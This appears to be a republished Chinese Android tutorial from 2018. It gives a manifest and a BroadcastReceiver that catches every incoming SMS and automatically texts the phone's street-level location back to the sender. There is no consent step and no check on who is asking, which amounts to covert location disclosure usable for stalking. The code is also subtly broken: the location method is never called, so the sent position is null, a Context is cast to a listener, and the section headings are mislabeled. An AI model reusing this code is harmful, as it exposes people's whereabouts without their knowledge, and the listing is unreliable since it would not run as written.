android 實現監聽簡訊接收並將當前位置傳送出去
阿新 • • 發佈:2018-12-30
1、獲取定位地址,這裡使用高德定位,從官網下載定位的jar包AMap_Location_V3.50_20170731.jar包然後在build.gradle
compile files('libs/AMap_Location_V3.5.0_20170731.jar')
然後在許可權檔案中新增需要的許可權和申請的key
定位地址獲取程式碼<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.a550211.patentproject"> <uses-permission android:name="android.permission.WRITE_SMS" /> <uses-permission android:name="android.permission.READ_SMS" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.SEND_SMS"></uses-permission> <!--用於進行網路定位--> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"></uses-permission> <!--用於訪問GPS定位--> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"></uses-permission> <!--用於獲取運營商資訊,用於支援提供運營商資訊相關的介面--> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"></uses-permission> <!--用於訪問wifi網路資訊,wifi資訊會用於進行網路定位--> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"></uses-permission> <!--用於獲取wifi的獲取許可權,wifi資訊會用來進行網路定位--> <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"></uses-permission> <!--用於訪問網路,網路定位需要上網--> <uses-permission android:name="android.permission.INTERNET"></uses-permission> <!--用於讀取手機當前的狀態--> <uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission> <!--用於寫入快取資料到擴充套件儲存卡--> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses-permission> <!--用於申請呼叫A-GPS模組--> <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"></uses-permission> <!--用於申請獲取藍芽資訊進行室內定位--> <uses-permission android:name="android.permission.BLUETOOTH"></uses-permission> <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"></uses-permission> <application android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:supportsRtl="true" android:name=".MyApplication" android:theme="@style/AppTheme"> <activity android:name=".MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <receiver android:name=".SMSBroadcastReceiver"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver> <meta-data android:name="com.amap.api.v2.apikey" android:value="12026fe07b5e1fd21ea299e7474edd65">//開發者申請的key </meta-data> <service android:name="com.amap.api.location.APSService"></service> </application> </manifest>
2、簡訊傳送方法private void getLocation(Context context) { mLocationClient = new AMapLocationClient(context); mLocationOption = new AMapLocationClientOption(); mLocationClient.setLocationListener((AMapLocationListener) context); mLocationOption.setLocationMode(AMapLocationClientOption.AMapLocationMode.Hight_Accuracy); mLocationOption.setInterval(2000); mLocationClient.setLocationOption(mLocationOption); mLocationClient.startLocation(); mLocationOption.setNeedAddress(true); mLocationOption.setWifiActiveScan(false); } @Override public void onLocationChanged(AMapLocation amapLocation) { if (amapLocation != null) { if (amapLocation.getErrorCode() == 0) { SimpleDateFormat formatter = new SimpleDateFormat("yyyy年MM月dd日 HH:mm:ss "); Date curDate = new Date(System.currentTimeMillis());//獲取當前時間 String str = formatter.format(curDate); position = amapLocation.getCountry() + amapLocation.getProvince() + amapLocation.getCity() + amapLocation.getDistrict() + amapLocation.getStreet() + amapLocation.getStreetNum() + amapLocation.getAoiName() + " buildId=" + amapLocation.getAddress() + " floor=" + amapLocation.getFloor(); Log.e(TAG, "position=" + position + " data = " + str); } else { Log.e("AmapError", "location Error, ErrCode:" + amapLocation.getErrorCode() + ", errInfo:" + amapLocation.getErrorInfo()); } } } /** * //定位成功回撥資訊,設定相關訊息 amapLocation.getLocationType();//獲取當前定位結果來源,如網路定位結果,詳見定位型別表 amapLocation.getLatitude();//獲取緯度 amapLocation.getLongitude();//獲取經度 amapLocation.getAccuracy();//獲取精度資訊 amapLocation.getAddress();//地址,如果option中設定isNeedAddress為false,則沒有此結果,網路定位結果中會有地址資訊,GPS定位不返回地址資訊。 amapLocation.getCountry();//國家資訊 amapLocation.getProvince();//省資訊 amapLocation.getCity();//城市資訊 amapLocation.getDistrict();//城區資訊 amapLocation.getStreet();//街道資訊 amapLocation.getStreetNum();//街道門牌號資訊 amapLocation.getCityCode();//城市編碼 amapLocation.getAdCode();//地區編碼 amapLocation.getAoiName();//獲取當前定位點的AOI資訊 amapLocation.getBuildingId();//獲取當前室內定位的建築物Id amapLocation.getFloor();//獲取當前室內定位的樓層 */
3、監聽簡訊進來方法private void sendSms(String phone, String message, Context context) { SmsManager smsManager = SmsManager.getDefault(); if (message.length() <= 70) { smsManager.sendTextMessage(phone, null, message, null, null); } else { List<String> smsDivs = smsManager.divideMessage(message); for (String ss : smsDivs) { smsManager.sendTextMessage(phone, null, ss, null, null); } } }
if (intent.getAction().equals(ACTION)) {
StringBuffer SMSAddress = new StringBuffer();
StringBuffer SMSContent = new StringBuffer();
Bundle bundle = intent.getExtras();
if (bundle != null) {
Object[] pdusObjects = (Object[]) bundle.get("pdus");
SmsMessage[] messages = new SmsMessage[pdusObjects.length];
for (int i = 0; i < pdusObjects.length; i++) {
messages[i] = SmsMessage
.createFromPdu((byte[]) pdusObjects[i]);
}
for (SmsMessage message : messages) {
SMSAddress.append(message.getDisplayOriginatingAddress());
SMSContent.append(message.getDisplayMessageBody());
Log.e(TAG, "傳送號碼:" + SMSAddress + "\n" + "簡訊內容:" + SMSContent + " number=" + apkDao.query().get(0));
String phone = SMSAddress.toString();
phone = phone.replace("+86", "");
sendSms(phone, position, context);
}
}
}
4、完整程式碼
package com.example.a550211.patentproject;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;
import com.amap.api.location.AMapLocation;
import com.amap.api.location.AMapLocationClient;
import com.amap.api.location.AMapLocationClientOption;
import com.amap.api.location.AMapLocationListener;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;
public class SMSBroadcastReceiver extends BroadcastReceiver implements AMapLocationListener {
private final String TAG = "SMSBroadcastReceiver";
private static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";
//宣告mLocationOption物件
public AMapLocationClientOption mLocationOption = null;
private AMapLocationClient mLocationClient;
private String position = null;
@Override
public void onReceive(Context context, Intent intent) {
ApkDao apkDao = new ApkDao(context);
if (intent.getAction().equals(ACTION)) {
StringBuffer SMSAddress = new StringBuffer();
StringBuffer SMSContent = new StringBuffer();
Bundle bundle = intent.getExtras();
if (bundle != null) {
Object[] pdusObjects = (Object[]) bundle.get("pdus");
SmsMessage[] messages = new SmsMessage[pdusObjects.length];
for (int i = 0; i < pdusObjects.length; i++) {
messages[i] = SmsMessage
.createFromPdu((byte[]) pdusObjects[i]);
}
for (SmsMessage message : messages) {
SMSAddress.append(message.getDisplayOriginatingAddress());
SMSContent.append(message.getDisplayMessageBody());
Log.e(TAG, "傳送號碼:" + SMSAddress + "\n" + "簡訊內容:" + SMSContent + " number=" + apkDao.query().get(0));
String phone = SMSAddress.toString();
phone = phone.replace("+86", "");
sendSms(phone, position, context);
}
}
}
}
/**
* 傳送簡訊
* @param phone
* @param message
* @param context
*/
private void sendSms(String phone, String message, Context context) {
SmsManager smsManager = SmsManager.getDefault();
if (message.length() <= 70) {
smsManager.sendTextMessage(phone, null, message, null, null);
} else {
List<String> smsDivs = smsManager.divideMessage(message);
for (String ss : smsDivs) {
smsManager.sendTextMessage(phone, null, ss, null, null);
}
}
}
private void getLocation(Context context) {
mLocationClient = new AMapLocationClient(context);
mLocationOption = new AMapLocationClientOption();
mLocationClient.setLocationListener((AMapLocationListener) context);
mLocationOption.setLocationMode(AMapLocationClientOption.AMapLocationMode.Hight_Accuracy);
mLocationOption.setInterval(2000);
mLocationClient.setLocationOption(mLocationOption);
mLocationClient.startLocation();
mLocationOption.setNeedAddress(true);
mLocationOption.setWifiActiveScan(false);
}
@Override
public void onLocationChanged(AMapLocation amapLocation) {
if (amapLocation != null) {
if (amapLocation.getErrorCode() == 0) {
SimpleDateFormat formatter = new SimpleDateFormat("yyyy年MM月dd日 HH:mm:ss ");
Date curDate = new Date(System.currentTimeMillis());//獲取當前時間
String str = formatter.format(curDate);
position = amapLocation.getCountry() + amapLocation.getProvince() + amapLocation.getCity() + amapLocation.getDistrict() + amapLocation.getStreet()
+ amapLocation.getStreetNum() + amapLocation.getAoiName() + " buildId=" + amapLocation.getAddress() + " floor=" + amapLocation.getFloor();
Log.e(TAG, "position=" + position + " data = " + str);
} else {
Log.e("AmapError", "location Error, ErrCode:"
+ amapLocation.getErrorCode() + ", errInfo:"
+ amapLocation.getErrorInfo());
}
}
}
/**
* //定位成功回撥資訊,設定相關訊息
amapLocation.getLocationType();//獲取當前定位結果來源,如網路定位結果,詳見定位型別表
amapLocation.getLatitude();//獲取緯度
amapLocation.getLongitude();//獲取經度
amapLocation.getAccuracy();//獲取精度資訊
amapLocation.getAddress();//地址,如果option中設定isNeedAddress為false,則沒有此結果,網路定位結果中會有地址資訊,GPS定位不返回地址資訊。
amapLocation.getCountry();//國家資訊
amapLocation.getProvince();//省資訊
amapLocation.getCity();//城市資訊
amapLocation.getDistrict();//城區資訊
amapLocation.getStreet();//街道資訊
amapLocation.getStreetNum();//街道門牌號資訊
amapLocation.getCityCode();//城市編碼
amapLocation.getAdCode();//地區編碼
amapLocation.getAoiName();//獲取當前定位點的AOI資訊
amapLocation.getBuildingId();//獲取當前室內定位的建築物Id
amapLocation.getFloor();//獲取當前室內定位的樓層
*/
}
這樣就可以實現監聽傳送過來的簡訊併發送當前地址回去。